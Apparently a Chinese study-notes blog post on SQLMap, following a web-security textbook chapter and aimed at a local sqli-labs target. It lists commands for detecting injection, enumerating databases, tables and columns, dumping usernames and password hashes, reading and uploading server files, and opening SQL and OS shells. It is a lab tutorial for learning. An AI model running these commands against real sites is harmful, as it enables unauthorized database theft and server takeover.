《web安全攻防》第三章学习之SQLmap

SQLMap介绍:

SQLMap是自动化的SQL注入工具,主要功能是扫描,发现并利用URL的SQL注入漏洞,内置了很多绕过插件。SQLMap采用了五种独特的SQL注入技术,如下:

(1)基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。
(2)基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。
(3)基于报错注入,即页面会返回错误信息,或者者把注入的语句的结果直接返回到页面中。
(4)联合查询注入,在可以使用Union的情况下的注入。
(5)堆查询注入,可以以同时执行多条语句时的注入。

SQLMap的强大功能包括数据库指纹识别,数据库枚举,数据提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

3.1安装SQLMap

安装SQLmap前需要先安装python2版本的,我安装的是python2.7,在python官网上下载安装即可

python官网:Welcome to Python.org

sqlmap官网:http://sqlmap.org/

sql注入漏洞扫描器 java sql注入漏洞检测工具_Less

 点击

sql注入漏洞扫描器 java sql注入漏洞检测工具_Less_02

下载解压即可。

下载后将整个SQLmap文件夹放在安装python的文件夹下。

 然后配置环境变量:

复制python27和SQLmap文件位置进行配置

sql注入漏洞扫描器 java sql注入漏洞检测工具_sql_03

接下来打开命令行,输入sqlmap.py出现一下界面,即设置成功 

sql注入漏洞扫描器 java sql注入漏洞检测工具_Less_04

 3.2 SQLMap入门

(1)拿到一个站点,要判断是否存在注入,假设目标注入点是:http://127.0.0.1/sql/Less-1/?id=1

命令为:sqlmap.py  -u http://127.0.0.1/sql/Less-1/?id=1 --batch

当注入点后面的参数大于等于两个时,需要加双引号,如下:

命令为:sqlmap.py  -u "http://127.0.0.1/sql/Less-1/?id=2" --batch

sql注入漏洞扫描器 java sql注入漏洞检测工具_网络安全_05

(2)判断文本中的请求是否存在注入

sql注入漏洞扫描器 java sql注入漏洞检测工具_Less_06

(3)查询当前用户下的所有数据库

命令行:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --dbs

sql注入漏洞扫描器 java sql注入漏洞检测工具_网络安全_07

(4)获取数据库中的表名

命令行:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security --tables

 

sql注入漏洞扫描器 java sql注入漏洞检测工具_Less_08

 (5)获取表中的字段名

命令行:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security -T users --columns

sql注入漏洞扫描器 java sql注入漏洞检测工具_sql_09

(6)获取字段内容

命令行:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security -T users -C id,username,password --dump

sql注入漏洞扫描器 java sql注入漏洞检测工具_web安全_10

(7)获取数据库的所有用户

命令行:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --users

sql注入漏洞扫描器 java sql注入漏洞检测工具_web安全_11

(8)获取数据库用户的密码

命令行:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --passwords

 

sql注入漏洞扫描器 java sql注入漏洞检测工具_Less_12

(9)获取当前数据库的名称

命令行:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --current-db --batch

sql注入漏洞扫描器 java sql注入漏洞检测工具_Less_13

(10)获取当前网站数据库的用户名称

命令行:sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=3" --current-user

sql注入漏洞扫描器 java sql注入漏洞检测工具_web安全_14

 3.3SQLMap进阶:参数讲解

(1)--level5 :探测等级

参数--level 5 指的是需要执行的5个等级,可不加level,默认为1。cookie测试等级为2,HTTPUser-Agent/Referer头在level为3时测试。总之,在不确定那个Payload或参数注入点时,为了保证全面性,建议使用高的level值。

命令行:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --level 3

(2)--is-dba:当前用户是否为管理权限

命令行:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --is-dba

该命令用于查看当前账户是否为数据库管理账户,是的话返回Ture

sql注入漏洞扫描器 java sql注入漏洞检测工具_Less_15

(3)--roles:列出数据库管理员角色

命令行:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --roles

该命令用于查看数据库用户的角色。如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,也可以用-U参数指定想看哪个用户的角色。该命令仅适用于当前数据库是Oracle的时候。

sql注入漏洞扫描器 java sql注入漏洞检测工具_web安全_16

(4)--referer: HTTP Referer头

SQLMap可以在请求中伪造HTTP中的referer,当--level参数设定为3及以上时,会尝试对Referer注入。可以使用referer命令来欺骗。

如:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --referer http://www.baidu.com

用这个进行探测的话,会认为探测的页面是从百度过来的,而不是自己本体主机

(5)--sql-shell:运行自定义的SQL语句

命令行:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --sql-shell

sql注入漏洞扫描器 java sql注入漏洞检测工具_sql_17

(6)--os-cmd,--os-shell:运行任意操作系统命令

执行该命令具备的条件:

数据库用户是dba权限;

知道网站的绝对路径;

PHP当中的gpc为off,PHP自动转义为关闭状态;

就算具备上述三个条件,因涉及系统命令,也未必执行成功。

(7)--file-read:从数据库服务器中读取文件

命令行:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --file-read "C:/1.txt"

(8)--file-write --file-dest:上传文件到数据库服务器中

命令行:sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --file-write "上传文件路径(相对路径)"--file-dest "目标文件系统绝对路径"